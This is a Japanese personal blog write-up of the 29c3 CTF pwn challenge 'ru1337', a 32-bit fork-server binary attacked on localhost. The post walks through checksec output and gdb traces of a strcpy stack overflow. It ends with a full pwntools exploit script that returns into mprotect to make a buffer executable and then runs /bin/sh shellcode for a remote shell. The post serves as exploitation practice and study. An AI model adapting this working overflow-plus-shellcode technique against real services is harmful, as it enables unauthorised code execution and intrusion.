ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

29c3 CTF ru1337

32bit-ELFのfork-server型の問題だった。今回は私的には初めてのexlpoitコードを書かないといけないということもあり、苦戦したが、何とか解けて良かった。今回の攻撃方法はshellcodeを送るのだが、少し問題があるそれは・・・

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

NXbitが立っているということが今回の肝心なところである。実行権限がついていない状態でスタートするため、shellcodeを送るだけでなく、mmapまたはmprotect関数を使ってメモリアクセス権限を変更してから、shellcodeを実行するようなexploitコードを作成しなければならないことを念頭に置いてから考えてみよう。ではさっそく、実行!…と思ったが、上手く実行できなかったため、デバッグしてみるとどうやら実行するときに引数が必要だった。引数はどうやらポートの番号として使われるようだった。今回は1024に引数を設定してから実行してみる。

shima@chino:~/workspace/pwn_list_easy/ru1337$ nc localhost 1024
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: aaaaaaaaaaaaaa
Password: aaaaaaaaaaaaaaaaaa
u r not s0 1337zz!!!

userとpasswordを聞かれて終了のような実行ファイルのようだ。入力部分に脆弱性があるようだ。しかし、目立つような脆弱性を入力の段階で見つけることができなかった。ということで仕方ないデバッグしよ。

EBP: 0xffffd038 --> 0xbadc008 --> 0x0 
ESP: 0xffffcf80 --> 0xbadc000 --> 0x0 
EIP: 0x8048992 (call   0x80485c0 <strcpy@plt>)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048988:   sub    edx,0xffffff80
   0x804898b:   mov    DWORD PTR [esp+0x4],edx
   0x804898f:   mov    DWORD PTR [esp],eax
=> 0x8048992:   call   0x80485c0 <strcpy@plt>
   0x8048997:   mov    eax,ds:0x804a070
   0x804899c:   lea    edx,[eax+0x8]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0xbadc000 --> 0x0 
arg[1]: 0xffffd024 ("AAAAAAAA\b")
[------------------------------------stack-------------------------------------]

最初のuserを受け取るところだが、特に気になったのは、ASCII文字以外を受け付けないような処理をしていた。そのため、userに入る部分(8byte)はASCII文字を入れるようにしよう。そのあとでpasswordのrecvを行った後で上記のようなstrcpyの処理に入る。
最初のstrcpyはuserの値を入力するのだが、実は、もう一つ注目すべき部分があって、EBPの値がこちらの入力で書き換えることが可能であることが分かった。正確にはuserが格納されている先頭アドレス+0x14byte先にあるようだ。

[-------------------------------------code-------------------------------------]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
   0x80489a9:   mov    DWORD PTR [esp],edx
=> 0x80489ac:   call   0x80485c0 <strcpy@plt>
   0x80489b1:   mov    eax,ds:0x804a074
   0x80489b6:   mov    DWORD PTR [esp+0x4],0x0
   0x80489be:   mov    DWORD PTR [esp],eax
   0x80489c1:   call   0x8048570 <dup2@plt>
Guessed arguments:
arg[0]: 0xbadc008 --> 0x8 
arg[1]: 0xffffcfa4 --> 0x90909090 
[------------------------------------stack-------------------------------------]

次はpasswordの受けとった文字列をuserをコピーした先から+8byteに格納する処理をしている。そのあとでsocketディスクリプタをdup2を行っているため、shellcodeを送る時にdup2またはconnect-backを行う必要はなさそうだ。strcpyを終わって直後の様子を下に示す

after strcpy stack
0xbadc000: 0x41414141 0x41414141 0x90909090 0xdb31c031
0xbadc010: 0x03b1c931 0x3fb0c9fe 0x80cd04b3 0xc031f675
0xbadc020: 0x2f2f6850 0x2f686873 0x896e6962 0x89c189e3
0xbadc030: 0xcd0bb0c2 0x40c03180 0xf70a80cd 0xf7ffd938
0xbadc040: 0x00000001 0x00000000 0x00000000 0x00000000
0xbadc050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc070: 0x00000000 0x00000000

returnする直前に面白いものを見つけた。それを下に示す。

gdb-peda$ x/100wx $esp
0xffffd03c: 0x08048580  0x0badc008  0x0badc000  0x000000ff
0xffffd04c: 0x00000007  0x00000000  0x00000000  0xffffd098
0xffffd05c: 0x08048bdd  0x00000004  0x00000000  0x00000000
0xffffd06c: 0x08048c62  0x00000002  0xffffd134  0x00040002
0xffffd07c: 0x00000000  0xf7fbb3c4  0xf7ffd000  0x00000000

どうやら、userを最初に格納する場所から+18byteつまりEBPを書き換えれるアドレス+4byte先にreturnアドレスがあるようだ。
以上のことから今回の攻撃方針は以下のような方針で行く。

  • userの入力でEBPとmprotectを送ってEBPとreturnアドレスを書き換える。

  • 次のpasswordの入力でshellcodeを送る。

今回はEBPは直接関係はないため、適当な数値を入れても問題はない。
コードべちょー

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./ru1337')

host = 'localhost'
port = 1024
c = remote(host, port)

shellcode = asm(shellcraft.sh())
mprotect_addr = elf.plt['mprotect']
# mprotect(0xbadc000, 0xff, 7); return 0xbadc008
mprotect = p32(mprotect_addr) + p32(0x0badc008) + p32(0x0badc000) + p32(0xff) + p32(7)

user = ''
user += 'A' * 20         # padding
user += p32(0xdeadbeef)  # ebp store
user += mprotect         # return address

password = ''
password += '\x90'*4
password += shellcode
password += '\n'

c.recvuntil('User: ')
c.send(user + password)

c.interactive()

今回実行権限をつけるためにmprotect関数を使用したが、その範囲をuserがstrcpyされたところから0xffまでにした。mprotectが終わった時のreturnアドレスをpasswordがstrcpyされた先にすることでshellcodeが実行されるようにした(一応NOP sledさせた)
【総評】mprotect + shellcodeのやり方を覚える良い問題